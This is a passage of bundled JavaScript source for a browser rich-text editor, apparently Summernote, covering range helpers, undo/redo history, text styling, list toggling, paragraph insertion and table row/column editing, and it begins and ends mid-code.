dom.listPrev(sc).length - 1; sc = sc.parentNode; } if (dom.isBR(ec)) { eo = dom.listPrev(ec).length - 1; ec = ec.parentNode; } else if (dom.isVoid(ec)) { eo = dom.listPrev(ec).length; ec = ec.parentNode; } return this.create(sc, so, ec, eo); }, /** * create WrappedRange from node after position * * @param {Node} node * @return {WrappedRange} */ createFromNodeBefore: function (node) { return this.createFromNode(node).collapse(true); }, /** * create WrappedRange from node after position * * @param {Node} node * @return {WrappedRange} */ createFromNodeAfter: function (node) { return this.createFromNode(node).collapse(); }, /** * @method * * create WrappedRange from bookmark * * @param {Node} editable * @param {Object} bookmark * @return {WrappedRange} */ createFromBookmark: function (editable, bookmark) { var sc = dom.fromOffsetPath(editable, bookmark.s.path); var so = bookmark.s.offset; var ec = dom.fromOffsetPath(editable, bookmark.e.path); var eo = bookmark.e.offset; return new WrappedRange(sc, so, ec, eo); }, /** * @method * * create WrappedRange from paraBookmark * * @param {Object} bookmark * @param {Node[]} paras * @return {WrappedRange} */ createFromParaBookmark: function (bookmark, paras) { var so = bookmark.s.offset; var eo = bookmark.e.offset; var sc = dom.fromOffsetPath(lists.head(paras), bookmark.s.path); var ec = dom.fromOffsetPath(lists.last(paras), bookmark.e.path); return new WrappedRange(sc, so, ec, eo); } }; /** * @method readFileAsDataURL * * read contents of file as representing URL * * @param {File} file * @return {Promise} - then: dataUrl */ function readFileAsDataURL(file) { return $$1.Deferred(function (deferred) { $$1.extend(new FileReader(), { onload: function (e) { var dataURL = e.target.result; deferred.resolve(dataURL); }, onerror: function (err) { deferred.reject(err); } }).readAsDataURL(file); }).promise(); } /** * @method createImage * * create `<image>` from url string * * @param {String} url * @return {Promise} - then: $image */ function createImage(url) { return $$1.Deferred(function (deferred) { var $img = $$1('<img>'); $img.one('load', function () { $img.off('error abort'); deferred.resolve($img); }).one('error abort', function () { $img.off('load').detach(); deferred.reject($img); }).css({ display: 'none' }).appendTo(document.body).attr('src', url); }).promise(); } var History = /** @class */ (function () { function History($editable) { this.stack = []; this.stackOffset = -1; this.$editable = $editable; this.editable = $editable[0]; } History.prototype.makeSnapshot = function () { var rng = range.create(this.editable); var emptyBookmark = { s: { path: [], offset: 0 }, e: { path: [], offset: 0 } }; return { contents: this.$editable.html(), bookmark: (rng ? rng.bookmark(this.editable) : emptyBookmark) }; }; History.prototype.applySnapshot = function (snapshot) { if (snapshot.contents !== null) { this.$editable.html(snapshot.contents); } if (snapshot.bookmark !== null) { range.createFromBookmark(this.editable, snapshot.bookmark).select(); } }; /** * @method rewind * Rewinds the history stack back to the first snapshot taken. * Leaves the stack intact, so that "Redo" can still be used. */ History.prototype.rewind = function () { // Create snap shot if not yet recorded if (this.$editable.html() !== this.stack[this.stackOffset].contents) { this.recordUndo(); } // Return to the first available snapshot. this.stackOffset = 0; // Apply that snapshot. this.applySnapshot(this.stack[this.stackOffset]); }; /** * @method reset * Resets the history stack completely; reverting to an empty editor. */ History.prototype.reset = function () { // Clear the stack. this.stack = []; // Restore stackOffset to its original value. this.stackOffset = -1; // Clear the editable area. this.$editable.html(''); // Record our first snapshot (of nothing). this.recordUndo(); }; /** * undo */ History.prototype.undo = function () { // Create snap shot if not yet recorded if (this.$editable.html() !== this.stack[this.stackOffset].contents) { this.recordUndo(); } if (this.stackOffset > 0) { this.stackOffset--; this.applySnapshot(this.stack[this.stackOffset]); } }; /** * redo */ History.prototype.redo = function () { if (this.stack.length - 1 > this.stackOffset) { this.stackOffset++; this.applySnapshot(this.stack[this.stackOffset]); } }; /** * recorded undo */ History.prototype.recordUndo = function () { this.stackOffset++; // Wash out stack after stackOffset if (this.stack.length > this.stackOffset) { this.stack = this.stack.slice(0, this.stackOffset); } // Create new snapshot and push it to the end this.stack.push(this.makeSnapshot()); }; return History; }()); var Style = /** @class */ (function () { function Style() { } /** * @method jQueryCSS * * [workaround] for old jQuery * passing an array of style properties to .css() * will result in an object of property-value pairs. * (compability with version < 1.9) * * @private * @param {jQuery} $obj * @param {Array} propertyNames - An array of one or more CSS properties. * @return {Object} */ Style.prototype.jQueryCSS = function ($obj, propertyNames) { if (env.jqueryVersion < 1.9) { var result_1 = {}; $$1.each(propertyNames, function (idx, propertyName) { result_1[propertyName] = $obj.css(propertyName); }); return result_1; } return $obj.css(propertyNames); }; /** * returns style object from node * * @param {jQuery} $node * @return {Object} */ Style.prototype.fromNode = function ($node) { var properties = ['font-family', 'font-size', 'text-align', 'list-style-type', 'line-height']; var styleInfo = this.jQueryCSS($node, properties) || {}; styleInfo['font-size'] = parseInt(styleInfo['font-size'], 10); return styleInfo; }; /** * paragraph level style * * @param {WrappedRange} rng * @param {Object} styleInfo */ Style.prototype.stylePara = function (rng, styleInfo) { $$1.each(rng.nodes(dom.isPara, { includeAncestor: true }), function (idx, para) { $$1(para).css(styleInfo); }); }; /** * insert and returns styleNodes on range. * * @param {WrappedRange} rng * @param {Object} [options] - options for styleNodes * @param {String} [options.nodeName] - default: `SPAN` * @param {Boolean} [options.expandClosestSibling] - default: `false` * @param {Boolean} [options.onlyPartialContains] - default: `false` * @return {Node[]} */ Style.prototype.styleNodes = function (rng, options) { rng = rng.splitText(); var nodeName = (options && options.nodeName) || 'SPAN'; var expandClosestSibling = !!(options && options.expandClosestSibling); var onlyPartialContains = !!(options && options.onlyPartialContains); if (rng.isCollapsed()) { return [rng.insertNode(dom.create(nodeName))]; } var pred = dom.makePredByNodeName(nodeName); var nodes = rng.nodes(dom.isText, { fullyContains: true }).map(function (text) { return dom.singleChildAncestor(text, pred) || dom.wrap(text, nodeName); }); if (expandClosestSibling) { if (onlyPartialContains) { var nodesInRange_1 = rng.nodes(); // compose with partial contains predication pred = func.and(pred, function (node) { return lists.contains(nodesInRange_1, node); }); } return nodes.map(function (node) { var siblings = dom.withClosestSiblings(node, pred); var head = lists.head(siblings); var tails = lists.tail(siblings); $$1.each(tails, function (idx, elem) { dom.appendChildNodes(head, elem.childNodes); dom.remove(elem); }); return lists.head(siblings); }); } else { return nodes; } }; /** * get current style on cursor * * @param {WrappedRange} rng * @return {Object} - object contains style properties. */ Style.prototype.current = function (rng) { var $cont = $$1(!dom.isElement(rng.sc) ? rng.sc.parentNode : rng.sc); var styleInfo = this.fromNode($cont); // document.queryCommandState for toggle state // [workaround] prevent Firefox nsresult: "0x80004005 (NS_ERROR_FAILURE)" try { styleInfo = $$1.extend(styleInfo, { 'font-bold': document.queryCommandState('bold') ? 'bold' : 'normal', 'font-italic': document.queryCommandState('italic') ? 'italic' : 'normal', 'font-underline': document.queryCommandState('underline') ? 'underline' : 'normal', 'font-subscript': document.queryCommandState('subscript') ? 'subscript' : 'normal', 'font-superscript': document.queryCommandState('superscript') ? 'superscript' : 'normal', 'font-strikethrough': document.queryCommandState('strikethrough') ? 'strikethrough' : 'normal', 'font-family': document.queryCommandValue('fontname') || styleInfo['font-family'] }); } catch (e) { } // list-style-type to list-style(unordered, ordered) if (!rng.isOnList()) { styleInfo['list-style'] = 'none'; } else { var orderedTypes = ['circle', 'disc', 'disc-leading-zero', 'square']; var isUnordered = $$1.inArray(styleInfo['list-style-type'], orderedTypes) > -1; styleInfo['list-style'] = isUnordered ? 'unordered' : 'ordered'; } var para = dom.ancestor(rng.sc, dom.isPara); if (para && para.style['line-height']) { styleInfo['line-height'] = para.style.lineHeight; } else { var lineHeight = parseInt(styleInfo['line-height'], 10) / parseInt(styleInfo['font-size'], 10); styleInfo['line-height'] = lineHeight.toFixed(1); } styleInfo.anchor = rng.isOnAnchor() && dom.ancestor(rng.sc, dom.isAnchor); styleInfo.ancestors = dom.listAncestor(rng.sc, dom.isEditable); styleInfo.range = rng; return styleInfo; }; return Style; }()); var Bullet = /** @class */ (function () { function Bullet() { } /** * toggle ordered list */ Bullet.prototype.insertOrderedList = function (editable) { this.toggleList('OL', editable); }; /** * toggle unordered list */ Bullet.prototype.insertUnorderedList = function (editable) { this.toggleList('UL', editable); }; /** * indent */ Bullet.prototype.indent = function (editable) { var _this = this; var rng = range.create(editable).wrapBodyInlineWithPara(); var paras = rng.nodes(dom.isPara, { includeAncestor: true }); var clustereds = lists.clusterBy(paras, func.peq2('parentNode')); $$1.each(clustereds, function (idx, paras) { var head = lists.head(paras); if (dom.isLi(head)) { _this.wrapList(paras, head.parentNode.nodeName); } else { $$1.each(paras, function (idx, para) { $$1(para).css('marginLeft', function (idx, val) { return (parseInt(val, 10) || 0) + 25; }); }); } }); rng.select(); }; /** * outdent */ Bullet.prototype.outdent = function (editable) { var _this = this; var rng = range.create(editable).wrapBodyInlineWithPara(); var paras = rng.nodes(dom.isPara, { includeAncestor: true }); var clustereds = lists.clusterBy(paras, func.peq2('parentNode')); $$1.each(clustereds, function (idx, paras) { var head = lists.head(paras); if (dom.isLi(head)) { _this.releaseList([paras]); } else { $$1.each(paras, function (idx, para) { $$1(para).css('marginLeft', function (idx, val) { val = (parseInt(val, 10) || 0); return val > 25 ? val - 25 : ''; }); }); } }); rng.select(); }; /** * toggle list * * @param {String} listName - OL or UL */ Bullet.prototype.toggleList = function (listName, editable) { var _this = this; var rng = range.create(editable).wrapBodyInlineWithPara(); var paras = rng.nodes(dom.isPara, { includeAncestor: true }); var bookmark = rng.paraBookmark(paras); var clustereds = lists.clusterBy(paras, func.peq2('parentNode')); // paragraph to list if (lists.find(paras, dom.isPurePara)) { var wrappedParas_1 = []; $$1.each(clustereds, function (idx, paras) { wrappedParas_1 = wrappedParas_1.concat(_this.wrapList(paras, listName)); }); paras = wrappedParas_1; // list to paragraph or change list style } else { var diffLists = rng.nodes(dom.isList, { includeAncestor: true }).filter(function (listNode) { return !$$1.nodeName(listNode, listName); }); if (diffLists.length) { $$1.each(diffLists, function (idx, listNode) { dom.replace(listNode, listName); }); } else { paras = this.releaseList(clustereds, true); } } range.createFromParaBookmark(bookmark, paras).select(); }; /** * @param {Node[]} paras * @param {String} listName * @return {Node[]} */ Bullet.prototype.wrapList = function (paras, listName) { var head = lists.head(paras); var last = lists.last(paras); var prevList = dom.isList(head.previousSibling) && head.previousSibling; var nextList = dom.isList(last.nextSibling) && last.nextSibling; var listNode = prevList || dom.insertAfter(dom.create(listName || 'UL'), last); // P to LI paras = paras.map(function (para) { return dom.isPurePara(para) ? dom.replace(para, 'LI') : para; }); // append to list(<ul>, <ol>) dom.appendChildNodes(listNode, paras); if (nextList) { dom.appendChildNodes(listNode, lists.from(nextList.childNodes)); dom.remove(nextList); } return paras; }; /** * @method releaseList * * @param {Array[]} clustereds * @param {Boolean} isEscapseToBody * @return {Node[]} */ Bullet.prototype.releaseList = function (clustereds, isEscapseToBody) { var releasedParas = []; $$1.each(clustereds, function (idx, paras) { var head = lists.head(paras); var last = lists.last(paras); var headList = isEscapseToBody ? dom.lastAncestor(head, dom.isList) : head.parentNode; var lastList = headList.childNodes.length > 1 ? dom.splitTree(headList, { node: last.parentNode, offset: dom.position(last) + 1 }, { isSkipPaddingBlankHTML: true }) : null; var middleList = dom.splitTree(headList, { node: head.parentNode, offset: dom.position(head) }, { isSkipPaddingBlankHTML: true }); paras = isEscapseToBody ? dom.listDescendant(middleList, dom.isLi) : lists.from(middleList.childNodes).filter(dom.isLi); // LI to P if (isEscapseToBody || !dom.isList(headList.parentNode)) { paras = paras.map(function (para) { return dom.replace(para, 'P'); }); } $$1.each(lists.from(paras).reverse(), function (idx, para) { dom.insertAfter(para, headList); }); // remove empty lists var rootLists = lists.compact([headList, middleList, lastList]); $$1.each(rootLists, function (idx, rootList) { var listNodes = [rootList].concat(dom.listDescendant(rootList, dom.isList)); $$1.each(listNodes.reverse(), function (idx, listNode) { if (!dom.nodeLength(listNode)) { dom.remove(listNode, true); } }); }); releasedParas = releasedParas.concat(paras); }); return releasedParas; }; return Bullet; }()); /** * @class editing.Typing * * Typing * */ var Typing = /** @class */ (function () { function Typing() { // a Bullet instance to toggle lists off this.bullet = new Bullet(); } /** * insert tab * * @param {WrappedRange} rng * @param {Number} tabsize */ Typing.prototype.insertTab = function (rng, tabsize) { var tab = dom.createText(new Array(tabsize + 1).join(dom.NBSP_CHAR)); rng = rng.deleteContents(); rng.insertNode(tab, true); rng = range.create(tab, tabsize); rng.select(); }; /** * insert paragraph */ Typing.prototype.insertParagraph = function (editable) { var rng = range.create(editable); // deleteContents on range. rng = rng.deleteContents(); // Wrap range if it needs to be wrapped by paragraph rng = rng.wrapBodyInlineWithPara(); // finding paragraph var splitRoot = dom.ancestor(rng.sc, dom.isPara); var nextPara; // on paragraph: split paragraph if (splitRoot) { // if it is an empty line with li if (dom.isEmpty(splitRoot) && dom.isLi(splitRoot)) { // toogle UL/OL and escape this.bullet.toggleList(splitRoot.parentNode.nodeName); return; // if it is an empty line with para on blockquote } else if (dom.isEmpty(splitRoot) && dom.isPara(splitRoot) && dom.isBlockquote(splitRoot.parentNode)) { // escape blockquote dom.insertAfter(splitRoot, splitRoot.parentNode); nextPara = splitRoot; // if new line has content (not a line break) } else { nextPara = dom.splitTree(splitRoot, rng.getStartPoint()); var emptyAnchors = dom.listDescendant(splitRoot, dom.isEmptyAnchor); emptyAnchors = emptyAnchors.concat(dom.listDescendant(nextPara, dom.isEmptyAnchor)); $$1.each(emptyAnchors, function (idx, anchor) { dom.remove(anchor); }); // replace empty heading, pre or custom-made styleTag with P tag if ((dom.isHeading(nextPara) || dom.isPre(nextPara) || dom.isCustomStyleTag(nextPara)) && dom.isEmpty(nextPara)) { nextPara = dom.replace(nextPara, 'p'); } } // no paragraph: insert empty paragraph } else { var next = rng.sc.childNodes[rng.so]; nextPara = $$1(dom.emptyPara)[0]; if (next) { rng.sc.insertBefore(nextPara, next); } else { rng.sc.appendChild(nextPara); } } range.create(nextPara, 0).normalize().select().scrollIntoView(editable); }; return Typing; }()); /** * @class Create a virtual table to create what actions to do in change. * @param {object} startPoint Cell selected to apply change. * @param {enum} where Where change will be applied Row or Col. Use enum: TableResultAction.where * @param {enum} action Action to be applied. Use enum: TableResultAction.requestAction * @param {object} domTable Dom element of table to make changes. */ var TableResultAction = function (startPoint, where, action, domTable) { var _startPoint = { 'colPos': 0, 'rowPos': 0 }; var _virtualTable = []; var _actionCellList = []; /// /////////////////////////////////////////// // Private functions /// /////////////////////////////////////////// /** * Set the startPoint of action. */ function setStartPoint() { if (!startPoint || !startPoint.tagName || (startPoint.tagName.toLowerCase() !== 'td' && startPoint.tagName.toLowerCase() !== 'th')) { console.error('Impossible to identify start Cell point.', startPoint); return; } _startPoint.colPos = startPoint.cellIndex; if (!startPoint.parentElement || !startPoint.parentElement.tagName || startPoint.parentElement.tagName.toLowerCase() !== 'tr') { console.error('Impossible to identify start Row point.', startPoint); return; } _startPoint.rowPos = startPoint.parentElement.rowIndex; } /** * Define virtual table position info object. * * @param {int} rowIndex Index position in line of virtual table. * @param {int} cellIndex Index position in column of virtual table. * @param {object} baseRow Row affected by this position. * @param {object} baseCell Cell affected by this position. * @param {bool} isSpan Inform if it is an span cell/row. */ function setVirtualTablePosition(rowIndex, cellIndex, baseRow, baseCell, isRowSpan, isColSpan, isVirtualCell) { var objPosition = { 'baseRow': baseRow, 'baseCell': baseCell, 'isRowSpan': isRowSpan, 'isColSpan': isColSpan, 'isVirtual': isVirtualCell }; if (!_virtualTable[rowIndex]) { _virtualTable[rowIndex] = []; } _virtualTable[rowIndex][cellIndex] = objPosition; } /** * Create action cell object. * * @param {object} virtualTableCellObj Object of specific position on virtual table. * @param {enum} resultAction Action to be applied in that item. */ function getActionCell(virtualTableCellObj, resultAction, virtualRowPosition, virtualColPosition) { return { 'baseCell': virtualTableCellObj.baseCell, 'action': resultAction, 'virtualTable': { 'rowIndex': virtualRowPosition, 'cellIndex': virtualColPosition } }; } /** * Recover free index of row to append Cell. * * @param {int} rowIndex Index of row to find free space. * @param {int} cellIndex Index of cell to find free space in table. */ function recoverCellIndex(rowIndex, cellIndex) { if (!_virtualTable[rowIndex]) { return cellIndex; } if (!_virtualTable[rowIndex][cellIndex]) { return cellIndex; } var newCellIndex = cellIndex; while (_virtualTable[rowIndex][newCellIndex]) { newCellIndex++; if (!_virtualTable[rowIndex][newCellIndex]) { return newCellIndex; } } } /** * Recover info about row and cell and add information to virtual table. * * @param {object} row Row to recover information. * @param {object} cell Cell to recover information. */ function addCellInfoToVirtual(row, cell) { var cellIndex = recoverCellIndex(row.rowIndex, cell.cellIndex); var cellHasColspan = (cell.colSpan > 1); var cellHasRowspan = (cell.rowSpan > 1); var isThisSelectedCell = (row.rowIndex === _startPoint.rowPos && cell.cellIndex === _startPoint.colPos); setVirtualTablePosition(row.rowIndex, cellIndex, row, cell, cellHasRowspan, cellHasColspan, false); // Add span rows to virtual Table. var rowspanNumber = cell.attributes.rowSpan ? parseInt(cell.attributes.rowSpan.value, 10) : 0; if (rowspanNumber > 1) { for (var rp = 1; rp < rowspanNumber; rp++) { var rowspanIndex = row.rowIndex + rp; adjustStartPoint(rowspanIndex, cellIndex, cell, isThisSelectedCell); setVirtualTablePosition(rowspanIndex, cellIndex, row, cell, true, cellHasColspan, true); } } // Add span cols to virtual table. var colspanNumber = cell.attributes.colSpan ? parseInt(cell.attributes.colSpan.value, 10) : 0; if (colspanNumber > 1) { for (var cp = 1; cp < colspanNumber; cp++) { var cellspanIndex = recoverCellIndex(row.rowIndex, (cellIndex + cp)); adjustStartPoint(row.rowIndex, cellspanIndex, cell, isThisSelectedCell); setVirtualTablePosition(row.rowIndex, cellspanIndex, row, cell, cellHasRowspan, true, true); } } } /** * Process validation and adjust of start point if needed * * @param {int} rowIndex * @param {int} cellIndex * @param {object} cell * @param {bool} isSelectedCell */ function adjustStartPoint(rowIndex, cellIndex, cell, isSelectedCell) { if (rowIndex === _startPoint.rowPos && _startPoint.colPos >= cell.cellIndex && cell.cellIndex <= cellIndex && !isSelectedCell) { _startPoint.colPos++; } } /** * Create virtual table of cells with all cells, including span cells. */ function createVirtualTable() { var rows = domTable.rows; for (var rowIndex = 0; rowIndex < rows.length; rowIndex++) { var cells = rows[rowIndex].cells; for (var cellIndex = 0; cellIndex < cells.length; cellIndex++) { addCellInfoToVirtual(rows[rowIndex], cells[cellIndex]); } } } /** * Get action to be applied on the cell. * * @param {object} cell virtual table cell to apply action */ function getDeleteResultActionToCell(cell) { switch (where) { case TableResultAction.where.Column: if (cell.isColSpan) { return TableResultAction.resultAction.SubtractSpanCount; } break; case TableResultAction.where.Row: if (!cell.isVirtual && cell.isRowSpan) { return TableResultAction.resultAction.AddCell; } else if (cell.isRowSpan) { return TableResultAction.resultAction.SubtractSpanCount; } break; } return TableResultAction.resultAction.RemoveCell; } /** * Get action to be applied on the cell. * * @param {object} cell virtual table cell to apply action */ function getAddResultActionToCell(cell) { switch (where) { case TableResultAction.where.Column: if (cell.isColSpan) { return TableResultAction.resultAction.SumSpanCount; } else if (cell.isRowSpan && cell.isVirtual) { return TableResultAction.resultAction.Ignore; } break; case TableResultAction.where.Row: if (cell.isRowSpan) { return TableResultAction.resultAction.SumSpanCount; } else if (cell.isColSpan && cell.isVirtual) { return TableResultAction.resultAction.Ignore; } break; } return TableResultAction.resultAction.AddCell; } function init() { setStartPoint(); createVirtualTable(); } /// /////////////////////////////////////////// // Public functions /// /////////////////////////////////////////// /** * Recover array os what to do in table. */ this.getActionList = function () { var fixedRow = (where === TableResultAction.where.Row) ? _startPoint.rowPos : -1; var fixedCol = (where === TableResultAction.where.Column) ? _startPoint.colPos : -1; var actualPosition = 0; var canContinue = true; while (canContinue) { var rowPosition = (fixedRow >= 0) ? fixedRow : actualPosition; var colPosition = (fixedCol >= 0) ? fixedCol : actualPosition; var row = _virtualTable[rowPosition]; if (!row) { canContinue = false; return _actionCellList; } var cell = row[colPosition]; if (!cell) { canContinue = false; return _actionCellList; } // Define action to be applied in this cell var resultAction = TableResultAction.resultAction.Ignore; switch (action) { case TableResultAction.requestAction.Add: resultAction = getAddResultActionToCell(cell); break; case TableResultAction.requestAction.Delete: resultAction = getDeleteResultActionToCell(cell); break; } _actionCellList.push(getActionCell(cell, resultAction, rowPosition, colPosition)); actualPosition++; } return _actionCellList; }; init(); }; /** * * Where action occours enum. */ TableResultAction.where = { 'Row': 0, 'Column': 1 }; /** * * Requested action to apply enum. */ TableResultAction.requestAction = { 'Add': 0, 'Delete': 1 }; /** * * Result action to be executed enum. */ TableResultAction.resultAction = { 'Ignore': 0, 'SubtractSpanCount': 1, 'RemoveCell': 2, 'AddCell': 3, 'SumSpanCount': 4 }; /** * * @class editing.Table * * Table * */ var Table = /** @class */ (function () { function Table() { } /** * handle tab key * * @param {WrappedRange} rng * @param {Boolean} isShift */ Table.prototype.tab = function (rng, isShift) { var cell = dom.ancestor(rng.commonAncestor(), dom.isCell); var table = dom.ancestor(cell, dom.isTable); var cells = dom.listDescendant(table, dom.isCell); var nextCell = lists[isShift ? 'prev' : 'next'](cells, cell); if (nextCell) { range.create(nextCell, 0).select(); } }; /** * Add a new row * * @param {WrappedRange} rng * @param {String} position (top/bottom) * @return {Node} */ Table.prototype.addRow = function (rng, position) { var cell = dom.ancestor(rng.commonAncestor(), dom.isCell); var currentTr = $$1(cell).closest('tr'); var trAttributes = this.recoverAttributes(currentTr); var html = $$1('<tr' + trAttributes + '></tr>'); var vTable = new TableResultAction(cell, TableResultAction.where.Row, TableResultAction.requestAction.Add, $$1(currentTr).closest('table')[0]); var actions = vTable.getActionList(); for (var idCell = 0; idCell < actions.length; idCell++) { var currentCell = actions[idCell]; var tdAttributes = this.recoverAttributes(currentCell.baseCell); switch (currentCell.action) { case TableResultAction.resultAction.AddCell: html.append('<td' + tdAttributes + '>' + dom.blank + '</td>'); break; case TableResultAction.resultAction.SumSpanCount: if (position === 'top') { var baseCellTr = currentCell.baseCell.parent; var isTopFromRowSpan = (!baseCellTr ? 0 : currentCell.baseCell.closest('tr').rowIndex) <= currentTr[0].rowIndex; if (isTopFromRowSpan) { var newTd = $$1('<div></div>').append($$1('<td' + tdAttributes + '>' + dom.blank + '</td>').removeAttr('rowspan')).html(); html.append(newTd); break; } } var rowspanNumber = parseInt(currentCell.baseCell.rowSpan, 10); rowspanNumber++; currentCell.baseCell.setAttribute('rowSpan', rowspanNumber); break; } } if (position === 'top') { currentTr.before(html); } else { var cellHasRowspan = (cell.rowSpan > 1); if (cellHasRowspan) { var lastTrIndex = currentTr[0].rowIndex + (cell.rowSpan - 2); $$1($$1(currentTr).parent().find('tr')[lastTrIndex]).after($$1(html)); return; } currentTr.after(html); } }; /** * Add a new col * * @param {WrappedRange} rng * @param {String} position (left/right) * @return {Node} */ Table.prototype.addCol = function (rng, position) { var cell = dom.ancestor(rng.commonAncestor(), dom.isCell); var row = $$1(cell).closest('tr'); var rowsGroup = $$1(row).siblings(); rowsGroup.push(row); var vTable = new TableResultAction(cell, TableResultAction.where.Column, TableResultAction.requestAction.Add, $$1(row).closest('table')[0]); var actions = vTable.getActionList(); for (var actionIndex = 0; actionIndex < actions.length; actionIndex++) { var currentCell = actions[actionIndex]; var tdAttributes = this.recoverAttributes(currentCell.baseCell); switch (currentCell.action) { case TableResultAction.resultAction.AddCell: if (position === 'right') { $$1(currentCell.baseCell).after('<td' + tdAttributes + '>' + dom.blank + '</td>'); } else { $$1(currentCell.baseCell).before('<td' + tdAttributes + '>' + dom.blank + '</td>'); } break; case TableResultAction.resultAction.SumSpanCount: if (position === 'right') { var colspanNumber = parseInt(currentCell.baseCell.colSpan, 10); colspanNumber++; currentCell.baseCell.setAttribute('colSpan', colspanNumber); } else { $$1(currentCell.baseCell).before('<td' + tdAttributes + '>' + dom.blank + '</td>'); } break; } } }; /* * Copy attributes from element. * * @param {object} Element to recover attributes. * @return {string} Copied string elements. */ Table.prototype.recoverAttributes = function (el) { var resultStr = ''; if (!el) { return resultStr; } var attrList = el.attributes || []; for (var i = 0; i < attrList.length; i++) { if (attrList[i].name.toLowerCase() === 'id') { continue; } if (attrList[i].specified) { resultStr += ' ' + attrList[i].name + '=\'' + attrList[i].value + '\''; } } return resultStr; }; /** * Delete current row * * @param {WrappedRange} rng * @return {Node} */ Table.prototype.deleteRow = function (rng) { var cell = dom.ancestor(rng.commonAncestor(), dom.isCell); var row = $$1(cell).closest('tr'); var cellPos = row.children('td, th').index($$1(cell)); var rowPos = row[0].rowIndex; var vTable = new TableResultAction(cell, TableResultAction.where.Row, TableResultAction.requestAction.Delete, $$1(row).closest('table')[0]); var actions = vTable.getActionList(); for (var actionIndex = 0; actionIndex < actions.length; actionIndex++) { if (!actions[actionIndex]) { continue; } var baseCell = actions[actionIndex].baseCell; var virtualPosition = actions[actionIndex].virtualTable; var hasRowspan = (baseCell.rowSpan && baseCell.rowSpan > 1); var rowspanNumber = (hasRowspan) ? parseInt(baseCell.rowSpan, 10) : 0; switch (actions[actionIndex].action) { case TableResultAction.resultAction.Ignore: continue; case TableResultAction.resultAction.AddCell: var nextRow = row.next('tr')[0]; if (!nextRow) { continue; } var cloneRow = row[0].cells[cellPos]; if (hasRowspan) { if (rowspanNumber > 2) { rowspanNumber--; nextRow.insertBefore(cloneRow, nextRow.cells[cellPos]); nextRow.cells[cellPos].setAttribute('rowSpan', rowspanNumber); nextRow.cells[cellPos].innerHTML = ''; } else if (rowspanNumber === 2) { nextRow.insertBefore(cloneRow, nextRow.cells[cellPos]); nextRow.cells[cellPos].removeAttribute('rowSpan'); nextRow.cells[cellPos].innerHTML = ''; } } continue; case TableResultAction.resultAction.SubtractSpanCount: if (hasRowspan) { if (rowspanNumber > 2) { rowspanNumber--; baseCell.setAttribute('rowSpan', rowspanNumber); if (virtualPosition.rowIndex !== rowPos && baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; } } else if (rowspanNumber === 2) { baseCell.removeAttribute('rowSpan'); if (virtualPosition.rowIndex !== rowPos && baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; } } } continue; case TableResultAction.resultAction.RemoveCell: // Do not need remove cell because row will be deleted. continue; } } row.remove(); }; /** * Delete current col * * @param {WrappedRange} rng * @return {Node} */ Table.prototype.deleteCol = function (rng) { var cell = dom.ancestor(rng.commonAncestor(), dom.isCell); var row = $$1(cell).closest('tr'); var cellPos = row.children('td, th').index($$1(cell)); var vTable = new TableResultAction(cell, TableResultAction.where.Column, TableResultAction.requestAction.Delete, $$1(row).closest('table')[0]); var actions = vTable.getActionList(); for (var actionIndex = 0; actionIndex < actions.length; actionIndex++) { if (!actions[actionIndex]) { continue; } switch (actions[actionIndex].action) { case TableResultAction.resultAction.Ignore: continue; case TableResultAction.resultAction.SubtractSpanCount: var baseCell = actions[actionIndex].baseCell; var hasColspan = (baseCell.colSpan && baseCell.colSpan > 1); if (hasColspan) { var colspanNumber = (baseCell.colSpan) ? parseInt(baseCell.colSpan, 10) : 0; if (colspanNumber > 2) { colspanNumber--; baseCell.setAttribute('colSpan', colspanNumber); if (baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; } } else if (colspanNumber === 2) { baseCell.removeAttribute('colSpan'); if (baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; } } } continue; case TableResultAction.resultAction.RemoveCell: dom.remove(actions[actionIndex].baseCell, true); continue; } } }; /** * create empty table element * * @param {Number} rowCount * @param {Number} colCount * @return {Node} */ Table.prototype.createTable = function (colCount, rowCount, options) { var tds = []; var tdHTML; for (var idxCol = 0; idxCol < colCount; idxCol++) { tds.push('<td>' + dom.blank + '</td>'); } tdHTML = tds.join(''); var trs = []; var trHTML; for (var idxRow = 0; idxRow < rowCount; idxRow++) { trs.push('<tr>' + tdHTML + '</tr>'); } trHTML = trs.join(''); var $table = $$1('<table>' + trHTML + '</table>'); if (options && options.tableClassName) { $table.addClass(options.tableClassName); } return $table[0]; }; /** * Delete current table * * @param {WrappedRange} rng * @return {Node} */ Table.prototype.deleteTable = function (rng) { var cell = dom.ancestor(rng.commonAncestor(), dom.isCell); $$1(cell).closest('table').remove(); }; return Table; }()); var KEY_BOGUS = 'bogus'; /** * @class Editor */ var Editor = /** @class */ (function () { function Editor(context) { var _this = this; this.context = context; this.$note = context.layoutInfo.note; this.$editor = context.layoutInfo.editor; this.$editable = context.layoutInfo.editable; this.options = context.options; this.lang = this.options.langInfo; this.editable = this.$editable[0]; this.lastRange = null; this.style = new Style(); this.table = new Table(); this.typing = new Typing(); this.bullet = new Bullet(); this.history = new History(this.$editable); this.context.memo('help.undo', this.lang.help.undo); this.context.memo('help.redo', this.lang.help.redo); this.context.memo('help.tab', this.lang.help.tab); this.context.memo('help.untab', this.lang.help.untab); this.context.memo('help.insertParagraph', this.lang.help.insertParagraph); this.context.memo('help.insertOrderedList', this.lang.help.insertOrderedList); this.context.memo('help.insertUnorderedList', this.lang.help.insertUnorderedList); this.context.memo('help.indent', this.lang.help.indent); this.context.memo('help.outdent', this.lang.help.outdent); this.context.memo('help.formatPara', this.lang.help.formatPara); this.context.memo('help.insertHorizontalRule', this.lang.help.insertHorizontalRule); this.context.memo('help.fontName', this.lang.help.fontName); // native commands(with execCommand), generate function for execCommand var commands = [ 'bold', 'italic', 'underline', 'strikethrough', 'superscript', 'subscript', 'justifyLeft', 'justifyCenter', 'justifyRight', 'justifyFull', 'formatBlock', 'removeFormat', 'backColor' ]; for (var idx = 0, len = commands.length; idx < len; idx++) { this[commands[idx]] = (function (sCmd) { return function (value) { _this.beforeCommand(); document.execCommand(sCmd, false, value); _this.afterCommand(true); }; })(commands[idx]); this.context.memo('help.' + commands[idx], this.lang.help[commands[idx]]); } this.fontName = this.wrapCommand(function (value) { return _this.fontStyling('font-family', "\'" + value + "\'"); }); this.fontSize = this.wrapCommand(function (value) { return _this.fontStyling('font-size', value + 'px'); }); for (var idx = 1; idx <= 6; idx++) { this['formatH' + idx] = (function (idx) { return function () { _this.formatBlock('H' + idx); }; })(idx); this.context.memo('help.formatH' + idx, 